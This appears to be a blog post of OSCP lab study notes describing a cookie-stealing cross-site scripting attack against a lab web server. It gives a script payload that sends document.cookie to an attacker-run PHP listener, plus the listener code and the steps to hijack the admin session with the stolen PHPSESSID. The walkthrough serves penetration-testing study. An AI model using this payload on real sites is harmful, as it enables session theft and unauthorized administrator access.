zoukankan      html  css  js  c++  java
  • OSCP Learning Notes

    Cross-Site Scripting(XSS)

     1. Using the tool - netdiscover to find the IP of target server.

    netdiscover

    2.Browser the website http://10.0.0.21 through Firefox.

    3. Click 'Test' . Then write the following script in the text box. 

    <script>alter('XSS')</script>

     

    4.Create the index.php in the root folder.

    <?php
    $cookie = isset($_GET["test"])?$_GET['test']:"";
    ?>

    5. Start the php service.

    service apache2 stop
    php -S 10.0.0.109:80

    6. Write the following script in the text box, then click the "Submit Query" button.

    <script>location.href='http://10.0.0.109/index.php?test='+document.cookie;</script>

     7. Install the Cookie Manager on the Firefox.

     8. Edit the PHPSESSID value in the Cookies Manager tool and change the value to the PHPSESSID showed in Kali Linux terminal. Then save the cookie value.

    9. After change the cookie value - PHPSESSID. Click the 'Admin' buttion, then you can login without username and password. You obtain the administrator privileges.

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    js实现输入银行卡号隔四位添加一个空格
    写出优雅的代码
    FOJ Problem 1016 无归之室
    FOJ Problem 1015 土地划分
    大数相加减
    NYOJ 42 一笔画
    NYOJ36 水池数目
    NYOJ 32 组合数
    贪吃蛇StringBuilder 和 定时器
    星 辰 · 第 三 条 约 定
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11210706.html
Copyright © 2011-2022 走看看